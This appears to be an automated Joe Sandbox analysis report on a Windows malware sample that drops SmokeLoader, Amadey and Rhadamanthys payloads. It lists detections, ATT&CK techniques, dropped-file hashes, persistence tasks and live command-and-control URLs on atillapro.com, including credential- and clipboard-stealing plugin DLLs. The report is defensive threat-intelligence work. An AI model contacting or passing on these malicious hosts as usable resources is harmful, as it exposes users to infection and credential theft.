Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003bd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003b4af0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\gfiecjd, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED

Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BFF83C CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,	13_3_00007DF488BFF83C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C314B8 socket,bind,	13_3_00007DF488C314B8
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005926B9 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	24_2_005926B9
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005919C2 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	24_2_005919C2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	31 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Exploitation for Client Execution	1 Scheduled Task/Job	612 Process Injection	31 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	113 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Software Packing	NTDS	510 System Information Discovery	Distributed Component Object Model	1 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	361 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	4 PowerShell	RC Scripts	RC Scripts	21 Masquerading	Cached Domain Credentials	171 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	171 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	612 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
xwREqjHUEv.exe	11%	ReversingLabs
xwREqjHUEv.exe	24%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\gfiecjd	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\F557.exe	100%	Avira	TR/AD.Nekark.nsorh
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\F324.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	100%	Avira	TR/AD.Nekark.nsorh
C:\Users\user\AppData\Roaming\gfiecjd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F557.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F324.exe	75%	ReversingLabs	Win32.Trojan.Rhadamanthys
C:\Users\user\AppData\Local\Temp\F324.exe	70%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\F557.exe	83%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\F557.exe	82%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	83%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	82%	Virustotal		Browse
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	75%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	69%	Virustotal		Browse
C:\Users\user\AppData\Roaming\gfiecjd	75%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Users\user\AppData\Roaming\gfiecjd	69%	Virustotal		Browse
C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP2810.tmp (copy)	75%	ReversingLabs	Win32.Trojan.SmokeLoader
C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP2810.tmp (copy)	69%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bg.microsoft.map.fastly.net	0%	Virustotal		Browse
atillapro.com	16%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.micro	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://216.250.255.115:80/bed1f869ae125/aqbrhghr.uhmsf	0%	Avira URL Cloud	safe
http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	100%	Avira URL Cloud	malware
https://atillapro.com/	100%	Avira URL Cloud	malware
atillapro.com/vsdjcn3khS/index.php	100%	Avira URL Cloud	malware
http://www.microsoft.coK	0%	Avira URL Cloud	safe
http://atillapro.com/	100%	Avira URL Cloud	malware
http://atillapro.com/vsdjcn3khS/index.php?scr=1	100%	Avira URL Cloud	malware
atillapro.com/vsdjcn3khS/index.php	15%	Virustotal		Browse
https://216.250.255.115:80/bed1f869ae125/aqbrhghr.uhmsf	1%	Virustotal		Browse
http://atillapro.com/vsdjcn3khS/index.php?scr=1	12%	Virustotal		Browse
http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	20%	Virustotal		Browse
http://atillapro.com/vsdjcn3khS/index.php	15%	Virustotal		Browse
https://atillapro.com/	15%	Virustotal		Browse
http://atillapro.com/	16%	Virustotal		Browse
http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	100%	Avira URL Cloud	malware
http://atillapro.com/vsdjcn3khS/index.php	100%	Avira URL Cloud	malware
http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	20%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
atillapro.com	185.196.8.137	true	true	16%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://atillapro.com/	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
atillapro.com/vsdjcn3khS/index.php	true	15%, Virustotal, Browse Avira URL Cloud: malware	low
http://atillapro.com/	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/vsdjcn3khS/index.php?scr=1	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/vsdjcn3khS/index.php	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2031709829.0000000005857000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://216.250.255.115:80/bed1f869ae125/aqbrhghr.uhmsf	dialer.exe, 00000008.00000002.2178871249.000000000327C000.00000004.00000010.00020000.00000000.sdmp, OpenWith.exe	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000005.00000002.2032888625.0000000006D50000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.2114566601.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
http://www.microsoft.coK	powershell.exe, 00000005.00000002.2033375932.0000000006E17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.2029024330.00000000047F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2114566601.0000000004C51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.2114566601.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.2029024330.0000000005051000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2031709829.0000000005857000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.2117709095.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	xwREqjHUEv.exe, 00000000.00000000.1996748280.000000000040A000.00000008.00000001.01000000.00000003.sdmp, xwREqjHUEv.exe, 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2029024330.00000000047F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2114566601.0000000004C51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.2114566601.0000000004DA6000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
216.250.255.115	unknown	United States		19019	AS-TIERP-19019US	false
185.196.8.137	atillapro.com	Switzerland		34888	SIMPLECARRER2IT	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1423732
Start date and time:	2024-04-10 10:22:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xwREqjHUEv.exe renamed because original name is a hash value
Original Sample Name:	068c05b9f062da142d266a374866d3bb.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@61/35@1/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 70% Number of executed functions: 216 Number of non-executed functions: 179
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.165.165.26, 13.85.23.206, 72.21.81.240
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target dialer.exe, PID 3664 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 2964 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:22:56	API Interceptor	59x Sleep call for process: powershell.exe modified
10:23:35	API Interceptor	2x Sleep call for process: AppLaunch.exe modified
10:23:48	API Interceptor	2127x Sleep call for process: explorer.exe modified
10:24:06	Task Scheduler	Run new task: Firefox Default Browser Agent 696DFEAAE386BA92 path: C:\Users\user\AppData\Roaming\gfiecjd
10:24:09	API Interceptor	500x Sleep call for process: Utsysc.exe modified
10:24:11	Task Scheduler	Run new task: Utsysc.exe path: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
216.250.255.115	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse
185.196.8.137	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse	atillapro.com/vsdjcn3khS/index.php
185.196.8.137	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse	atillapro.com/vsdjcn3khS/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atillapro.com	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse	185.196.8.137
	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse	185.196.8.137
	7n4JyfzR1U.exe	Get hash	malicious	RHADAMANTHYS, SmokeLoader	Browse	94.156.65.121
	2TTkgBtLsB.exe	Get hash	malicious	Remcos, RHADAMANTHYS, SmokeLoader	Browse	185.196.8.205
	tjiXY8ehk5.exe	Get hash	malicious	Remcos, RHADAMANTHYS, SmokeLoader	Browse	185.196.8.205
bg.microsoft.map.fastly.net	prank.exe	Get hash	malicious	Discord Token Stealer	Browse	199.232.210.172
	https://fortyunder40africa.com/well.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://in-vr49799.lt.acemlnb.com/prod/link-tracker?redirecturl=ahr0chmlm0elmkylmkz3d3cubmv0emvyb2npcmnszs5vcmc=&sig=5awcgjccgq8shwqwdyi1ygkpesim6t6npcasuqu4kdsh&iat=1712669277&a=%7c%7c612730296%7c%7c&account=in-vr49799.activehosted.com&email=q6gkayf6c8h9zf%2f9eoy65kio9yiqpztomvafruiitbdms5urciaa%3aqeo1dhox3tnuykvjctdb5b%2bkfrqbwgek&s=4a5f8e8209e7fb5012def13359a3eb6c&i=403a1286a71a4286	Get hash	malicious	Unknown	Browse	199.232.210.172
	1fe0b1c0000.dll.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://noisesperusemotel.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://att-log6988.weeblysite.com/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://08.172-245-112-195.cprapid.com/Postelnfo/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://metamask.com-do.com/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://yda482.com/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://dncdeytzt4gzdb.azureedge.net/003/?	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRER2IT	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse	185.196.8.137
	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse	185.196.8.137
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	If1BjZdkZh.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	dYAd42NlXg.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	63PPG1bWEo.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	mZFiaBnsij.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
	Rechnung.pdf.lnk	Get hash	malicious	Vidar	Browse	185.196.8.158
	JWfFVrymKr.elf	Get hash	malicious	Mirai	Browse	185.196.8.213
	CgJxT081Ih.elf	Get hash	malicious	Unknown	Browse	185.196.8.213
AS-TIERP-19019US	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse	216.250.255.115
	purchase order.exe	Get hash	malicious	AveMaria, UACMe	Browse	216.250.253.35
	1FYNsY2F1u.elf	Get hash	malicious	Mirai	Browse	216.46.58.131
	BScLqtFVk7.elf	Get hash	malicious	Mirai	Browse	216.46.58.138
	skid.arm.elf	Get hash	malicious	Mirai	Browse	216.46.58.154
	d6wGnY9p8X.elf	Get hash	malicious	Unknown	Browse	216.46.58.130
	log21.armv7.elf	Get hash	malicious	Mirai, Moobot	Browse	216.46.58.137
	2UGFcVzLdR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	216.250.254.209
	9H21pBlz0m.exe	Get hash	malicious	Remcos, DBatLoader	Browse	216.250.254.209
	iKxvPi63bN.exe	Get hash	malicious	Unknown	Browse	216.250.255.149

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse
C:\Users\user\AppData\Local\Temp\F557.exe	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\F557.exe	HJoRg2I07j.exe	Get hash	malicious	Amadey	Browse
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\F324.exe	e7CLP6462y.exe	Get hash	malicious	Amadey, RHADAMANTHYS, SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AppLaunch.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
File Type:	CSV text
Category:	modified
Size (bytes):	859
Entropy (8bit):	5.379735105545312
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Khk:MxHKQ71qHGIs0HKCYHKGSI6ok
MD5:	66903BF8F31D4DE1B691C99CF8812A8A
SHA1:	6A49612CB1C2356F176B1B2E5481FB3CD0CB4289
SHA-256:	C09B65A3BA4819DAA12705C8C48400AD8F80B3B779954C14B9679396D252AF42
SHA-512:	A96F5D88E7B7A1C36D77AA9A42CA3513B70261F9B494F387A46F1DA01934E05F9659A0E8512D677DFC8602254C230CC7F370A83B916C329F908B645C5A2C247D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1022
Entropy (8bit):	5.252542495586483
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm50mMb0O0bihm5TmM6CUXyhm5+dmMbxdB6hm5CUmMz0Jahm5gmMbNS:YqHZ6T06McbMb0O0bicMMDUXycRMbxdy
MD5:	2F99BED9FF8C41AFEE96B028ED8B86A2
SHA1:	BF4E91361EE28C5506E812F2BF8C3495676097B0
SHA-256:	F4C2EB86983ED94B60DD5041C9DDCCC2E06C9F4DD810A8D90FBCCAE82620741C
SHA-512:	834B9B236AF231632E106CAE3E2F22EF09B2445E64536C7FF0F2F61BC240AFA84BB66093135B317A227B3E2D9BBCAA1EDFE65F87483CB3C12F67C3E80E5A436C
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":2357654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":2347654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":2337654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2327654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":2317654912,"LastSwitchedHighPart":31061703,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":2307654912,"LastSwitchedHighPart":31061703,

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulLkv1z:NllUQv
MD5:	649D434911231935759F4D5CCAB95FD3
SHA1:	7281562733FF49114C8C87BEFE9959B334A0A00C
SHA-256:	2DF05E0833C8C379ECA0197B179DEC198FAEA280681439CC8C624BBF0FFEF7E2
SHA-512:	B4FEF1E28CF71035639F36636C511E3067E7D3666E8D769A5189500C0F3970DFBED865C811CD28669D686C35A55F04721EA02460E7D18D82DAB99437C7936B8E
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\246122658369

Download File

Process:	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	85087
Entropy (8bit):	7.848483459024365
Encrypted:	false
SSDEEP:	1536:CKG3SD9avyh1GcUTb9s5WcEBelGLQXpeu02kAUEPW6NwNvc:tn9CytUTq5Wc2swu02kAUIIa
MD5:	0B1D720F344C43DFBF913CB3959CB1D2
SHA1:	27935252DFC0CEC4CA76033A8AF430DF58212430
SHA-256:	41E5F1A66ED33ACC2863FB61A2D6D9423544DC8D1F0DF77C9EC69862D6840175
SHA-512:	91660EAB2D10A83DADF1A4B45AE8FC55EF223A117D1372FE539CAF9993501590D979753B5EA98CD8C526AAE9C6542534DCABAE4262B79EC4E927FA2DDA034B05
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..o.<-...OF.....j.#?........x..........#..........9.+..........e\.../n-.n.dh.c...k....1.q...y5..r..N.)W...O.d.QEw.!E.P11E-v.....Z..tN.Lo..?.Xb1....Oc....&...W.8.+.?.]._.....G.R....n..............z...........w..#.......`..

C:\Users\user\AppData\Local\Temp\44D.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
